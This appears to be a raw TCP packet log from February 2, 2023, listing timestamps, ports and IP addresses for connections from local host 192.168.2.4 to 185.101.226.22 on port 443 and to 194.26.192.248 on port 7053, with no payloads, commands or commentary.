Feb 2, 2023 08:09:15.641319990 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641360998 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641381025 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641387939 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641405106 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641450882 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641489983 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641503096 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641542912 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641575098 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641634941 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641664028 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641726017 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641752005 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641809940 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641834974 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641851902 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641879082 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641904116 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.641922951 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.641988993 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642008066 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642067909 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642096996 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642158985 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642172098 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642189980 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642241955 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642251015 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642266989 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642307043 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642352104 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642415047 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642436028 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642494917 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642524958 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642587900 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642621040 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642676115 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642721891 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642786026 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642813921 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642818928 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642873049 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642899036 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.642955065 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.642981052 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643042088 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643065929 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643124104 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643148899 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643203974 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643229008 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643287897 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643315077 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643377066 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643395901 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643405914 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643460035 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643491983 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643551111 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643577099 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643634081 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643662930 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643718958 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643747091 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643804073 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643832922 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643893957 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.643923044 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.643980980 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644010067 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644073009 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644104004 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644162893 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644191027 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644246101 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644273996 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644340038 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644371033 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644439936 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644462109 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644517899 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644546032 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644606113 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.644628048 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.644684076 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.645190954 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.645967960 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652503014 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652637005 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652686119 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652721882 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652750969 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652751923 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652779102 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652792931 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652828932 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652863026 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652870893 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652885914 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.652926922 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.652972937 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.653038979 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.653062105 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.653119087 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.653146029 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.653204918 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.653244019 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.653305054 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.653328896 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.653389931 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.654931068 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655061960 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655077934 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655105114 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655133963 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655133963 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655150890 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655170918 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655230045 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655270100 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655328989 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655365944 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655420065 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655497074 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655564070 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655616999 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655678988 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655742884 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655802965 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.655890942 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.655953884 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656007051 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656064034 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656125069 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656183958 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656239986 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656301022 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656388998 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656450987 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656508923 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656570911 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656663895 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656729937 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656810999 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656876087 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.656917095 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.656975031 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.657032013 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.657093048 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.657172918 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.657233000 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.666486025 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.666634083 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.688092947 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.688234091 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.688308001 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.688345909 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.688378096 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.688380957 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.688390970 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.688401937 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.688424110 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.688448906 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.699234009 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.699443102 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.701265097 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.701384068 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.701423883 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.701452017 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.701477051 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.701499939 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.701569080 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.701630116 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.701752901 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.701812983 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.701932907 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.701998949 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.702140093 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.702224016 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.702353001 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.702452898 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.702543974 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.702625990 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.702838898 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.702945948 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.704910040 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705053091 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705065012 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.705105066 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705116987 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.705143929 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.705214024 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705277920 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.705430031 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705499887 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.705625057 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705693960 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.705817938 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.705883026 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706003904 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.706073999 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706231117 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.706310987 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706424952 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.706454039 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706486940 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706653118 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706660032 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.706772089 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.706837893 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.706921101 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.707031012 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.707104921 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.707215071 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.707292080 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.707437992 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.707505941 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.707614899 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.707680941 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.707803011 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.707874060 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.707984924 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.708060026 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.708158016 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.708224058 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.708333015 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.708399057 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.708511114 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.708579063 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.713021994 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.713395119 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.736082077 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.736172915 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.736222029 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.736260891 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.736294031 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.736331940 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.747107983 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.747261047 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.750399113 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.750499010 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.750526905 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.750586987 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.750633001 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.750705957 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.750722885 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.750746012 CET	443	49696	185.101.226.22	192.168.2.4
Feb 2, 2023 08:09:15.750772953 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.750809908 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:09:15.794063091 CET	49696	443	192.168.2.4	185.101.226.22
Feb 2, 2023 08:11:02.050792933 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:02.078295946 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:02.079637051 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:03.343287945 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:03.372606993 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:03.372986078 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:03.401093960 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:03.450304031 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.718051910 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.746995926 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.747438908 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.806335926 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806384087 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806411982 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806441069 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806467056 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806493998 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806519032 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806548119 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806574106 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806595087 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806610107 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.806634903 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.806634903 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.806724072 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.833791971 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.833837986 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.833865881 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.833890915 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.833919048 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.833945990 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.833975077 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834005117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834019899 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834033012 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834064007 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834093094 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834093094 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834112883 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834144115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834172010 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834201097 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834228992 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834249973 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834249973 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834249973 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834256887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834287882 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834316015 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834343910 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834372997 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834393978 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.834414959 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834415913 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.834415913 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.862235069 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862270117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862289906 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862303972 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862323046 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862341881 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862361908 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862380981 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862401009 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862420082 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862456083 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862476110 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862493038 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:27.862520933 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.862520933 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.862520933 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:27.998769999 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.067455053 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.095446110 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.096143007 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.123893023 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.124088049 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.151885033 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.152045012 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.152089119 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.152175903 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.152206898 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.152224064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.152360916 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.179733992 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.179886103 CET	7053	49697	194.26.192.248	192.168.2.4
